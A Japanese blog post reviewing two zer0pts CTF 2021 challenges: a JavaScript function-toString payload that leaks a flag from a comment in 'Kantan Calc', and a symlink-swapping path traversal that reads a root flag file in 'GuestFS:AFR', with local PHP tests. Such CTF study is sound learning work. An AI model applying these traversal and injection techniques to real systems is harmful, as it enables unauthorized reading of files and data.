セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

「復習」zer0pts CTF 

//

初めに

Writeupが読みたい方はこちらの参考リンク先の方を見ていただいた方が良いと思われます、、!

CTFtime.org / zer0pts CTF 2021 / Kantan Calc / Writeup

zer0pts CTF 2021 - Kantan Calc · Issue #22 · aszx87410/ctf-writeups · GitHub

Kantan Calc (zer0pts CTF)

最終的に次を作成することを目指す。

(function () { return (a)=>()=>(a+"")[0]})()(()=>{; /* ${FLAG} */ })()


まず関数をtoString()をすることで、文字列として出力できる。

> function a() {}
undefined
> console.log(a+'')
function a() {}

arguments.calleeで関数自身を呼ぶことができるので、次のようにかける

> a =(function(){return arguments.callee.toString()})
[Function: a]
> a()
'function(){return arguments.callee.toString()}'
> (function(){return arguments.callee.toString()})()
'function(){return arguments.callee.toString()}'

この例のカッコの使い方は次を見るとわかりやすい

> (function(){return 'test'})()
'test'
> a=(function(){return 'test'})
[Function: a]
> a()
'test'

() を末尾につけることで定義した関数をすぐ呼びさせている。
次にアロー関数の解釈。

JavaScript/関数/アロー関数 [Ore Base]

安直に理解しようとするなら今回目指す形は引数を2つ取れるような書き方をしていると解釈できる。

> (function () { return (a)=>(b)=>(a+b)})() ('test')('1111')
'test1111'
> (function () { return (a)=>(b)=>(a+b)})() ('test')()
'testundefined'


あとは、引数 a にフラグが含まれている部分を関数()=>{; /* ${FLAG} */ }として渡すことで、a+''=a.toString()を実現し、フラグを返している。
問題ではフラグのプレフィックスが含まれているとフィルターされるので、配列として1文字ずつ返却するようにしているようです。

GuestFS:AFR (zer0pts CTF)

シンボリックリンクとファイル作成をできるサイトで、ルートにあるフラグファイルを表示させる問題。 問題のキーとなる箇所はここ

/* Target file must exist */
$this->assert_file_exists($this->root.$target);

/* Create a symbolic link */
@symlink($target, $this->root.$name);

/* This check ensures $target points to inside user-space */
try {
    $this->validate_filepath(@readlink($this->root.$name));
} catch(Exception $e) {
    /* Revert changes */
    @unlink($this->root.$name);
    throw $e;
}

validate_filepathはファイルパスがルートを示していたり、..パストラバーサルしていないかチェックしている。
解法はまず、以下の関係のファイルとシンボリックリンクを作成

A->B

Bを削除して、A->../../../../../../flagシンボリックリンクを作成すると、../../../../../../flagを指したBが作成されて、フラグが読める。

A->B->../../../../../../flag

恐らく、A->../../../../../../flagの処理をPHPの関数で呼び出すと、Aが保持しているBのパス名が読まれて、最終的にln -s ../../../../../../flag Bと同じ命令が実行されるんじゃないかなと予想。
この時Bをあらかじめ削除していければln -s ../../../../../../flag Bは存在するファイル名Bを指定しているためエラーが発生する。ので、あらかじめBを削除する処理を挟む必要があったんじゃないかな..?

試しにphp実行

削除なしの場合
削除ありの場合

<?php

// creating alink using symlink() function
symlink('A', 'B');
unlink('A');
symlink('flag','B');
?>
kali@kali:~/ctf/zero/sql/test$ ls
A  exp2.php  exp.php  flag
kali@kali:~/ctf/zero/sql/test$ php exp.php 
kali@kali:~/ctf/zero/sql/test$ ls
A  B  exp2.php  exp.php  flag
kali@kali:~/ctf/zero/sql/test$ readlink A
flag


<?php

// creating alink using symlink() function
symlink('A', 'B');
// unlink('A');
symlink('flag','B');
?>
kali@kali:~/ctf/zero/sql/test$ php exp2.php 
PHP Warning:  symlink(): File exists in /home/kali/ctf/zero/sql/test/exp2.php on line 6